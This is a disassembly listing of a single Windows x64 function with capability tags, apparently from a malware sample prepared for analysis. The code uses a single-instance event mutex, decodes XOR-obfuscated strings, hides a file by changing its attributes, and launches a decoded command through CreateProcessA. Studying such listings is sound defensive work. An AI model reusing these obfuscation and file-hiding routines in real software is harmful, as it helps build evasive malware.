Function at 0x140017120
Capabilities:
Check if file exists
Create directory
Create process on windows
Create process suspended
Encode data using xor
Get file attributes
Set file attributes

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x560]
sub rsp, 0x660
mov rax, qword [0x1400680c0]
xor rax, rsp
mov qword [rbp + 0x550], rax
call fcn.14001b950
lea r9, str.z1T9vg381GNzm5iom2qF0IvL8
xor r8d, r8d
lea edx, [r8 + 1]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov r12, rax
test rax, rax
je 0x140018336
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x14001719a
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140018334
xorps xmm0, xmm0
movups xmmword [rbp + 0x3b0], xmm0
xor r13d, r13d
mov qword [rbp + 0x3c0], r13
mov qword [rbp + 0x3c8], r13
lea rdx, str._____________________________________._______________._________________.___________________.______________._________________.______________________._____________________.______________________._____________________________________________.__________________________________.__________________.____________._______________________._____________________________________________________.__________________________________________._________________________________________.____________________________________.__.____________.__.__________.__.__._______.__._______________________________.__.______________.___________.__.__._______.__._______________.__.__________.____._______.__________.____._____.__.________.____._______.__.____________________.____.__________.___________________________________________________.__._____________._________________._________________________________________________________________________.__.__________.__.________.__._________________________________________.___________._________________._________________________________________.______________________.___________________________________________________.__._________.__._________.__.___________.__._______.__._________.__.___________._________________________________________.__._______.__.__________.__________.___._______________________.__.__._______.__.___________.__.___________________________________________.__._____________.___________________.___________________________________________________________________________.__.__________.__.______.__._______________________________________._________._______________._______________________________________.__._______.__.___________________._______________________________________________________.__._______.__.___________.__.___________.__._______.__._________.__.___________.________________________________________________________________________________________.__.____________.____._________________________________________________________________________________________________________________________.____.__________________.______________________________________________________.__.___
mov rsi, 0xffffffffffffffff
mov r8, rsi
inc r8
cmp byte [rdx + r8], r13b
jne 0x1400171c6
lea rcx, [rbp + 0x3b0]
call fcn.140002e60
nop
call fcn.140018b60
mov r9, rax
cmp byte [rax + 0x53], 0
je 0x140017221
mov rdx, r13
movabs r8, 0xc7d3dbfd570fc78f
nop word [rax + rax]
movzx ecx, dl
and cl, 7
shl cl, 3
mov rax, r8
shr rax, cl
xor byte [rdx + r9], al
inc rdx
cmp rdx, 0x53
jb 0x140017200
mov byte [r9 + 0x53], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x2d8], xmm0
mov qword [rbp + 0x2e8], r13
mov qword [rbp + 0x2f0], r13
mov r8, rsi
nop dword [rax]
inc r8
cmp byte [r9 + r8], 0
jne 0x140017240
mov rdx, r9
lea rcx, [rbp + 0x2d8]
call fcn.140002e60
nop
call fcn.140018c60
mov rcx, rax
call fcn.14001ac30
xorps xmm0, xmm0
movups xmmword [rbp + 0x370], xmm0
mov qword [rbp + 0x380], r13
mov qword [rbp + 0x388], r13
mov r8, rsi
inc r8
cmp byte [rax + r8], 0
jne 0x140017282
mov rdx, rcx
lea rcx, [rbp + 0x370]
call fcn.140002e60
nop
call fcn.140018d50
mov rcx, rax
call fcn.14001ab30
xorps xmm0, xmm0
movups xmmword [rbp + 0x390], xmm0
mov qword [rbp + 0x3a0], r13
mov qword [rbp + 0x3a8], r13
mov r8, rsi
inc r8
cmp byte [rax + r8], 0
jne 0x1400172c4
mov rdx, rcx
lea rcx, [rbp + 0x390]
call fcn.140002e60
nop
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x440]
call fcn.14003a780
mov edi, 2
mov r8d, edi
lea rdx, [rbp + 0x2d8]
lea rcx, [rbp + 0x440]
call fcn.140019fb0
nop
lea r15d, [rdi + 4]
cmp qword [rbp + 0x4c8], 0
je 0x14001742b
lea rdx, [rbp + 0x3b0]
cmp qword [rbp + 0x3c8], 0xf
cmova rdx, qword [rbp + 0x3b0]
mov r8, qword [rbp + 0x3c0]
lea rcx, [rbp + 0x440]
call fcn.140003430
lea rcx, [rbp + 0x448]
call fcn.14001aa30
test rax, rax
jne 0x140017393
mov rax, qword [rbp + 0x440]
movsxd rcx, dword [rax + 4]
mov eax, r15d
cmp qword [rbp + rcx + 0x488], 0
cmovne eax, edi
or eax, dword [rbp + rcx + 0x450]
and eax, 0x17
mov dword [rbp + rcx + 0x450], eax
and eax, dword [rbp + rcx + 0x454]
jne 0x1400189f5
lea r8, [rbp + 0x2d8]
cmp qword [rbp + 0x2f0], 0xf
cmova r8, qword [rbp + 0x2d8]
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], r13
mov r9d, esi
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
movsxd rbx, eax
mov rax, rdi
mul rbx
cmovo rax, rsi
mov rcx, rax
call fcn.14001ed60
mov rdi, rax
lea r8, [rbp + 0x2d8]
cmp qword [rbp + 0x2f0], 0xf
cmova r8, qword [rbp + 0x2d8]
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rax
mov r9d, esi
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
or eax, 2
mov edx, eax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov rcx, rdi
call fcn.14001ebb0
movdqa xmm0, xmmword [str.__a_]
mov dword [rbp + 0x2c8], 0x9167f7f
mov dword [rbp + 0x2cc], 0xe8e96419
mov dword [rbp + 0x2d0], 0xf1a594d
mov rax, qword gs:[0x58]
mov rdi, qword [rax]
mov ecx, 0x291c
mov eax, dword [rcx + rdi]
mov ebx, 0x2a10
test al, 1
jne 0x1400174e1
or eax, 1
mov dword [rcx + rdi], eax
lea rcx, [rdi + rbx]
mov byte [rcx + 0x1d], 1
lea rax, [rcx + 0x1c]
lea rdx, [rbp + 0x2d4]
cmp rcx, rdx
ja 0x1400174b7
lea rdx, [rbp + 0x2b8]
cmp rax, rdx
jb 0x1400174b7
movups xmmword [rcx], xmm0
movsd xmm0, qword [rbp + 0x2c8]
movsd qword [rcx + 0x10], xmm0
mov eax, dword [rbp + 0x2d0]
mov dword [rcx + 0x18], eax
mov byte [rcx + 0x1c], 0x7d
jmp 0x1400174d4
movups xmmword [rcx], xmm0
movsd xmm0, qword [rbp + 0x2c8]
movsd qword [rcx + 0x10], xmm0
mov eax, dword [rbp + 0x2d0]
mov dword [rcx + 0x18], eax
mov byte [rcx + 0x1c], 0x7d
lea rcx, [0x14003c210]
call fcn.14001ecc8
nop
lea rdx, [rdi + rbx]
cmp byte [rdx + 0x1d], 0
je 0x140017562
xor byte [rdx], 0x23
xor byte [rdx + 1], 0x3d
xor byte [rdx + 2], 0x7f
xor byte [rdx + 3], 0x7d
xor byte [rdx + 4], 0x7d
xor byte [rdx + 5], 1
xor byte [rdx + 6], 0x8f
xor byte [rdx + 7], 0x8d
xor byte [rdx + 8], 0x23
xor byte [rdx + 9], 0x3d
xor byte [rdx + 0xa], 0x7f
xor byte [rdx + 0xb], 0x7d
xor byte [rdx + 0xc], 0x7d
xor byte [rdx + 0xd], 1
xor byte [rdx + 0xe], 0x8f
xor byte [rdx + 0xf], 0x8d
xor byte [rdx + 0x10], 0x23
xor byte [rdx + 0x11], 0x3d
xor byte [rdx + 0x12], 0x7f
xor byte [rdx + 0x13], 0x7d
xor byte [rdx + 0x14], 0x7d
xor byte [rdx + 0x15], 1
xor byte [rdx + 0x16], 0x8f
xor byte [rdx + 0x17], 0x8d
xor byte [rdx + 0x18], 0x23
xor byte [rdx + 0x19], 0x3d
xor byte [rdx + 0x1a], 0x7f
xor byte [rdx + 0x1b], 0x7d
xor byte [rdx + 0x1c], 0x7d
mov byte [rdx + 0x1d], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x350], xmm0
mov qword [rbp + 0x360], r13
mov qword [rbp + 0x368], r13
mov r8, rsi
nop dword [rax]
inc r8
cmp byte [rdx + r8], 0
jne 0x140017580
lea rcx, [rbp + 0x350]
call fcn.140002e60
nop
lea rcx, [rbp + 0x350]
mov rbx, qword [rbp + 0x360]
cmp qword [rbp + 0x368], 0xf
jbe 0x1400175bb
mov rsi, qword [rbp + 0x350]
add rbx, rsi
jmp 0x1400175c5
add rbx, rcx
lea rsi, [rbp + 0x350]
xorps xmm0, xmm0
movups xmmword [rbp + 0x210], xmm0
mov eax, 0xa
movabs r14, 0x7ffffffffffffffe
cmp rsi, rbx
jne 0x140017602
mov qword [rbp + 0x220], r13
mov qword [rbp + 0x228], 7
mov word [rbp + 0x210], r13w
jmp 0x1400176cb
mov rdi, rbx
sub rdi, rsi
mov rdx, r13
mov qword [rbp + 0x220], rdx
mov r8d, 7
mov qword [rbp + 0x228], r8
cmp rdi, r14
ja 0x140018a4b
cmp rdi, r8
jbe 0x140017673
or rdi, r8
cmp rdi, r14
jbe 0x14001763a
mov rdi, r14
jmp 0x140017641
cmp rdi, rax
cmovb rdi, rax
inc rdi
mov qword [rsp + 0x78], rdi
lea rdx, [rsp + 0x78]
lea rcx, [rbp + 0x210]
call fcn.140002df0
lea r8, [rdi - 1]
mov qword [rbp + 0x210], rax
mov qword [rbp + 0x228], r8
mov rdx, qword [rbp + 0x220]
lea rcx, [rbp + 0x210]
cmp r8, 7
cmova rcx, qword [rbp + 0x210]
movsx eax, byte [rsi]
mov word [rcx + rdx*2], ax
mov rdx, qword [rbp + 0x220]
inc rdx
mov qword [rbp + 0x220], rdx
inc rsi
cmp rsi, rbx
je 0x1400176af
mov r8, qword [rbp + 0x228]
jmp 0x140017673
lea rax, [rbp + 0x210]
cmp qword [rbp + 0x228], 7
cmova rax, qword [rbp + 0x210]
mov word [rax + rdx*2], r13w
movdqa xmm0, xmmword [0x14005efc0]
mov dword [rbp + 0x308], 0xe2d1fb11
mov word [rbp + 0x30c], 0x4fd6
mov rax, qword gs:[0x58]
mov rdi, qword [rax]
mov ecx, 0x2ac8
mov eax, dword [rcx + rdi]
mov ebx, 0x28a0
test al, 1
jne 0x140017772
or eax, 1
mov dword [rcx + rdi], eax
lea rcx, [rbx + rdi]
mov byte [rcx + 0x17], 1
lea rax, [rcx + 0x16]
lea rdx, [rbp + 0x30e]
cmp rcx, rdx
ja 0x14001774a
lea rdx, [rbp + 0x2f8]
cmp rax, rdx
jb 0x14001774a
movups xmmword [rcx], xmm0
mov eax, dword [rbp + 0x308]
mov dword [rcx + 0x10], eax
movzx eax, word [rbp + 0x30c]
mov word [rcx + 0x14], ax
mov byte [rcx + 0x16], 0x4b
jmp 0x140017765
movups xmmword [rcx], xmm0
mov eax, dword [rbp + 0x308]
mov dword [rcx + 0x10], eax
movzx eax, word [rbp + 0x30c]
mov word [rcx + 0x14], ax
mov byte [rcx + 0x16], 0x4b
lea rcx, [0x14003c1e0]
call fcn.14001ecc8
nop
lea rdx, [rbx + rdi]
cmp byte [rdx + 0x17], 0
je 0x1400177db
xor byte [rdx], 0x4d
xor byte [rdx + 1], 0xbf
xor byte [rdx + 2], 0xa3
xor byte [rdx + 3], 0xb5
xor byte [rdx + 4], 0xb3
xor byte [rdx + 5], 0x2d
xor byte [rdx + 6], 0x4b
xor byte [rdx + 7], 0xc9
xor byte [rdx + 8], 0x4d
xor byte [rdx + 9], 0xbf
xor byte [rdx + 0xa], 0xa3
xor byte [rdx + 0xb], 0xb5
xor byte [rdx + 0xc], 0xb3
xor byte [rdx + 0xd], 0x2d
xor byte [rdx + 0xe], 0x4b
xor byte [rdx + 0xf], 0xc9
xor byte [rdx + 0x10], 0x4d
xor byte [rdx + 0x11], 0xbf
xor byte [rdx + 0x12], 0xa3
xor byte [rdx + 0x13], 0xb5
xor byte [rdx + 0x14], 0xb3
xor byte [rdx + 0x15], 0x2d
xor byte [rdx + 0x16], 0x4b
mov byte [rdx + 0x17], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x330], xmm0
mov qword [rbp + 0x340], r13
mov qword [rbp + 0x348], r13
mov r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp byte [rdx + r8], 0
jne 0x140017800
lea rcx, [rbp + 0x330]
call fcn.140002e60
nop
lea rcx, [rbp + 0x330]
mov rbx, qword [rbp + 0x340]
cmp qword [rbp + 0x348], 0xf
jbe 0x14001783b
mov rsi, qword [rbp + 0x330]
add rbx, rsi
jmp 0x140017845
add rbx, rcx
lea rsi, [rbp + 0x330]
xorps xmm0, xmm0
movups xmmword [rbp + 0x1f0], xmm0
cmp rsi, rbx
jne 0x140017873
mov qword [rbp + 0x200], r13
mov qword [rbp + 0x208], 7
mov word [rbp + 0x1f0], r13w
jmp 0x140017948
mov rdi, rbx
sub rdi, rsi
mov rdx, r13
mov qword [rbp + 0x200], rdx
mov r8d, 7
mov qword [rbp + 0x208], r8
cmp rdi, r14
ja 0x140018a51
cmp rdi, r8
jbe 0x1400178f0
or rdi, r8
cmp rdi, r14
jbe 0x1400178ab
mov rdi, r14
jmp 0x1400178b8
cmp rdi, 0xa
mov eax, 0xa
cmovb rdi, rax
inc rdi
mov qword [rsp + 0x78], rdi
lea rdx, [rsp + 0x78]
lea rcx, [rbp + 0x1f0]
call fcn.140002df0
lea r8, [rdi - 1]
mov qword [rbp + 0x1f0], rax
mov qword [rbp + 0x208], r8
mov rdx, qword [rbp + 0x200]
nop word [rax + rax]
lea rcx, [rbp + 0x1f0]
cmp r8, 7
cmova rcx, qword [rbp + 0x1f0]
movsx eax, byte [rsi]
mov word [rcx + rdx*2], ax
mov rdx, qword [rbp + 0x200]
inc rdx
mov qword [rbp + 0x200], rdx
inc rsi
cmp rsi, rbx
je 0x14001792c
mov r8, qword [rbp + 0x208]
jmp 0x1400178f0
lea rax, [rbp + 0x1f0]
cmp qword [rbp + 0x208], 7
cmova rax, qword [rbp + 0x1f0]
mov word [rax + rdx*2], r13w
movdqa xmm0, xmmword [0x14005edd0]
mov dword [rbp + 0x260], 0x6be2c73d
mov dword [rbp + 0x264], 0x6a2f47f6
mov dword [rbp + 0x268], 0x6ce3f607
mov word [rbp + 0x26c], 0x2bf2
mov rax, qword gs:[0x58]
mov rdi, qword [rax]
mov ecx, 0x2ac0
mov eax, dword [rcx + rdi]
mov ebx, 0x29f0
test al, 1
jne 0x140017a19
or eax, 1
mov dword [rcx + rdi], eax
lea rcx, [rdi + rbx]
mov byte [rcx + 0x1e], 1
lea rax, [rcx + 0x1d]
lea rdx, [rbp + 0x26d]
cmp rcx, rdx
ja 0x1400179e8
lea rdx, [rbp + 0x250]
cmp rax, rdx
jb 0x1400179e8
movups xmmword [rcx], xmm0
movsd xmm0, qword [rbp + 0x260]
movsd qword [rcx + 0x10], xmm0
mov eax, dword [rbp + 0x268]
mov dword [rcx + 0x18], eax
movzx eax, word [rbp + 0x26c]
mov word [rcx + 0x1c], ax
jmp 0x140017a0c
movups xmmword [rcx], xmm0
movsd xmm0, qword [rbp + 0x260]
movsd qword [rcx + 0x10], xmm0
mov eax, dword [rbp + 0x268]
mov dword [rcx + 0x18], eax
movzx eax, word [rbp + 0x26c]
mov word [rcx + 0x1c], ax
lea rcx, [0x14003c1b0]
call fcn.14001ecc8
nop
lea rdx, [rdi + rbx]
cmp byte [rdx + 0x1e], 0
je 0x140017a9e
xor byte [rdx], 0x61
xor byte [rdx + 1], 0x93
xor byte [rdx + 2], 0x8d
xor byte [rdx + 3], 0x1f
xor byte [rdx + 4], 0x97
xor byte [rdx + 5], 0x2b
xor byte [rdx + 6], 0x6b
xor byte [rdx + 7], 0xf
xor byte [rdx + 8], 0x61
xor byte [rdx + 9], 0x93
xor byte [rdx + 0xa], 0x8d
xor byte [rdx + 0xb], 0x1f
xor byte [rdx + 0xc], 0x97
xor byte [rdx + 0xd], 0x2b
xor byte [rdx + 0xe], 0x6b
xor byte [rdx + 0xf], 0xf
xor byte [rdx + 0x10], 0x61
xor byte [rdx + 0x11], 0x93
xor byte [rdx + 0x12], 0x8d
xor byte [rdx + 0x13], 0x1f
xor byte [rdx + 0x14], 0x97
xor byte [rdx + 0x15], 0x2b
xor byte [rdx + 0x16], 0x6b
xor byte [rdx + 0x17], 0xf
xor byte [rdx + 0x18], 0x61
xor byte [rdx + 0x19], 0x93
xor byte [rdx + 0x1a], 0x8d
xor byte [rdx + 0x1b], 0x1f
xor byte [rdx + 0x1c], 0x97
xor byte [rdx + 0x1d], 0x2b
mov byte [rdx + 0x1e], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x310], xmm0
mov qword [rbp + 0x320], r13
mov qword [rbp + 0x328], r13
mov rdi, 0xffffffffffffffff
mov r8, rdi
inc r8
cmp byte [rdx + r8], 0
jne 0x140017ac0
lea rcx, [rbp + 0x310]
call fcn.140002e60
nop
lea rcx, [rbp + 0x310]
mov rbx, qword [rbp + 0x320]
cmp qword [rbp + 0x328], 0xf
jbe 0x140017afb
mov rsi, qword [rbp + 0x310]
add rbx, rsi
jmp 0x140017b05
add rbx, rcx
lea rsi, [rbp + 0x310]
xorps xmm0, xmm0
movups xmmword [rbp + 0x1d0], xmm0
cmp rsi, rbx
jne 0x140017b33
mov qword [rbp + 0x1e0], r13
mov qword [rbp + 0x1e8], 7
mov word [rbp + 0x1d0], r13w
jmp 0x140017c0f
mov rax, rbx
sub rax, rsi
mov rdx, r13
mov qword [rbp + 0x1e0], rdx
mov edi, 7
mov qword [rbp + 0x1e8], rdi
cmp rax, r14
ja 0x140018a57
cmp rax, rdi
jbe 0x140017bb0
or rax, rdi
cmp rax, r14
ja 0x140017b75
mov r14, rax
cmp rax, 0xa
mov eax, 0xa
cmovb r14, rax
lea rdi, [r14 + 1]
mov qword [rsp + 0x78], rdi
lea rdx, [rsp + 0x78]
lea rcx, [rbp + 0x1d0]
call fcn.140002df0
dec rdi
mov qword [rbp + 0x1d0], rax
mov qword [rbp + 0x1e8], rdi
mov rdx, qword [rbp + 0x1e0]
nop word [rax + rax]
lea rcx, [rbp + 0x1d0]
cmp rdi, 7
cmova rcx, qword [rbp + 0x1d0]
movsx eax, byte [rsi]
mov word [rcx + rdx*2], ax
mov rdx, qword [rbp + 0x1e0]
inc rdx
mov qword [rbp + 0x1e0], rdx
inc rsi
cmp rsi, rbx
je 0x140017bec
mov rdi, qword [rbp + 0x1e8]
jmp 0x140017bb0
lea rax, [rbp + 0x1d0]
cmp qword [rbp + 0x1e8], 7
cmova rax, qword [rbp + 0x1d0]
mov word [rax + rdx*2], r13w
mov rdi, 0xffffffffffffffff
lea rcx, [rbp + 0x210]
cmp qword [rbp + 0x228], 7
cmova rcx, qword [rbp + 0x210]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
lea rsi, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
lea r14, vtable.std::ios_base.0
cmp eax, 0xffffffff
je 0x140017c43
test al, 0x10
jne 0x140017c97
lea rcx, [rbp + 0x1f0]
cmp qword [rbp + 0x208], 7
cmova rcx, qword [rbp + 0x1f0]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x140017c69
test al, 0x10
jne 0x140017c97
lea rcx, [rbp + 0x1d0]
cmp qword [rbp + 0x1e8], 7
cmova rcx, qword [rbp + 0x1d0]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x140018366
test al, 0x10
je 0x140018366
call fcn.140018e30
mov r9, rax
cmp byte [rax + 0x8e], 0
je 0x140017cff
lea rdx, [rax + 1]
mov r8, rdi
sub r8, rax
movabs r10, 0x9b77efa71fa53b3f
nop dword [rax]
lea ecx, [rdx + r8]
and cl, 7
shl cl, 3
mov rax, r10
shr rax, cl
xor byte [rdx - 1], al
movzx ecx, dl
sub cl, r9b
and cl, 7
shl cl, 3
mov rax, r10
shr rax, cl
xor byte [rdx], al
add rdx, 2
lea rax, [r8 + rdx]
cmp rax, 0x8e
jb 0x140017cc0
mov byte [r9 + 0x8e], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x230], xmm0
mov qword [rbp + 0x240], r13
mov qword [rbp + 0x248], r13
mov r8, rdi
nop word [rax + rax]
inc r8
cmp byte [r9 + r8], 0
jne 0x140017d20
mov rdx, r9
lea rcx, [rbp + 0x230]
call fcn.140002e60
nop
lea r8, [rbp + 0x230]
lea rdx, [rbp + 0x370]
lea rcx, [rbp + 0x290]
call fcn.14001af30
nop
mov rdx, qword [rbp + 0x248]
cmp rdx, 0xf
jbe 0x140017d96
inc rdx
mov rcx, qword [rbp + 0x230]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140017d91
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140018a5d
call fcn.14001ebb0
mov qword [rbp + 0x240], r13
mov qword [rbp + 0x248], 0xf
mov byte [rbp + 0x230], 0
mov rcx, qword [rbp + 0x2a0]
inc rcx
mov eax, 2
mul rcx
cmovo rax, rdi
mov rcx, rax
call fcn.14001ed60
mov rbx, rax
lea r8, [rbp + 0x290]
cmp qword [rbp + 0x2a8], 0xf
cmova r8, qword [rbp + 0x290]
mov edx, dword [rbp + 0x2a0]
inc edx
mov dword [rsp + 0x28], edx
mov qword [rsp + 0x20], rax
mov r9d, edi
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x3d0], xmm0
movups xmmword [rbp + 0x3e0], xmm0
movups xmmword [rbp + 0x3f0], xmm0
movups xmmword [rbp + 0x400], xmm0
movups xmmword [rbp + 0x410], xmm0
movups xmmword [rbp + 0x420], xmm0
mov qword [rbp + 0x430], rax
movups xmmword [rsp + 0x78], xmm0
mov qword [rbp - 0x78], rax
mov dword [rbp + 0x40c], 1
mov word [rbp + 0x410], r13w
lea rdx, [rbp + 0x290]
cmp qword [rbp + 0x2a8], 0xf
cmova rdx, qword [rbp + 0x290]
lea rax, [rsp + 0x78]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x3d0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r13
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], r13d
mov dword [rsp + 0x20], r13d
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov edx, 0xffffffff
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbx
call fcn.14001ebb0
nop
mov rdx, qword [rbp + 0x2a8]
cmp rdx, 0xf
jbe 0x140017f17
inc rdx
mov rcx, qword [rbp + 0x290]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140017f12
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140018a63
call fcn.14001ebb0
lea rbx, vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rbp + 0x2d8]
cmp qword [rbp + 0x2f0], 0xf
cmova rcx, qword [rbp + 0x2d8]
call fcn.140027510
nop
mov rdx, qword [rbp + 0x1e8]
cmp rdx, 7
jbe 0x140017f8a
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x1d0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140017f85
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140018a69
call fcn.14001ebb0
mov qword [rbp + 0x1e0], r13
mov qword [rbp + 0x1e8], 7
mov word [rbp + 0x1d0], r13w
mov rdx, qword [rbp + 0x328]
cmp rdx, 0xf
jbe 0x140017fe5
inc rdx
mov rcx, qword [rbp + 0x310]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140017fe0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140018b29
call fcn.14001ebb0
mov qword [rbp + 0x320], r13
mov qword [rbp + 0x328], 0xf
mov byte [rbp + 0x310], 0
mov rdx, qword [rbp + 0x208]
cmp rdx, 7
jbe 0x140018044
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x1f0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001803f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140018b2f
call fcn.14001ebb0
mov qword [rbp + 0x200], r13
mov qword [rbp + 0x208], 7
mov word [rbp + 0x1f0], r13w
mov rdx, qword [rbp + 0x348]
cmp rdx, 0xf
jbe 0x14001809f
inc rdx
mov rcx, qword [rbp + 0x330]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001809a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140018b35
call fcn.14001ebb0
mov qword [rbp + 0x340], r13
mov qword [rbp + 0x348], 0xf
mov byte [rbp + 0x330], 0
mov rdx, qword [rbp + 0x228]
cmp rdx, 7
jbe 0x1400180fe
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x210]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400180f9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140018b3b
call fcn.14001ebb0
mov qword [rbp + 0x220], r13
mov qword [rbp + 0x228], 7
mov word [rbp + 0x210], r13w
mov rdx, qword [rbp + 0x368]
cmp rdx, 0xf
jbe 0x140018159
inc rdx
mov rcx, qword [rbp + 0x350]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140018154
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140018b41
call fcn.14001ebb0
mov qword [rbp + 0x360], r13
mov qword [rbp + 0x368], 0xf
mov byte [rbp + 0x350], 0
mov rax, qword [rbp + 0x440]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x440], rsi
mov rax, qword [rbp + 0x440]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x43c], edx
lea rcx, [rbp + 0x448]
call fcn.140019f00
mov rax, qword [rbp + 0x440]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x440], rbx
mov rax, qword [rbp + 0x440]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x10]
mov dword [rbp + rcx + 0x43c], edx
mov qword [rbp + 0x4e8], r14
lea rcx, [rbp + 0x4e8]
call fcn.14001e134
nop
mov rdx, qword [rbp + 0x3a8]
cmp rdx, 0xf
jbe 0x140018226
inc rdx
mov rcx, qword [rbp + 0x390]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140018221
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140018b47
call fcn.14001ebb0
mov qword [rbp + 0x3a0], r13
mov qword [rbp + 0x3a8], 0xf
mov byte [rbp + 0x390], 0
mov rdx, qword [rbp + 0x388]
cmp rdx, 0xf
jbe 0x140018280
inc rdx
mov rcx, qword [rbp + 0x370]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001827b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140018b4d
call fcn.14001ebb0
mov qword [rbp + 0x380], r13
mov qword [rbp + 0x388], 0xf
mov byte [rbp + 0x370], 0
mov rdx, qword [rbp + 0x2f0]
cmp rdx, 0xf
jbe 0x1400182da
inc rdx
mov rcx, qword [rbp + 0x2d8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400182d5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140018b53
call fcn.14001ebb0
mov qword [rbp + 0x2e8], r13
mov qword [rbp + 0x2f0], 0xf
mov byte [rbp + 0x2d8], 0
mov rdx, qword [rbp + 0x3c8]
cmp rdx, 0xf
jbe 0x140018334
inc rdx
mov rcx, qword [rbp + 0x3b0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001832f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400189ef
call fcn.14001ebb0
xor eax, eax
mov rcx, qword [rbp + 0x550]
xor rcx, rsp
call fcn.14001eb90
lea r11, [rsp + 0x660]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
movdqa xmm0, xmmword [0x14005ee60]
mov dword [rbp + 0x280], 0x29eedb6e
mov dword [rbp + 0x284], 0xb80ea4c9
mov dword [rbp + 0x288], 0x33e2cf7e
mov word [rbp + 0x28c], 0xf7d4
mov rax, qword gs:[0x58]
mov rdi, qword [rax]
mov ecx, 0x2914
mov eax, dword [rcx + rdi]
mov ebx, 0x2840
test al, 1
jne 0x140018437
or eax, 1
mov dword [rcx + rdi], eax
lea rcx, [rbx + rdi]
mov byte [rcx + 0x1e], 1
lea rax, [rcx + 0x1d]
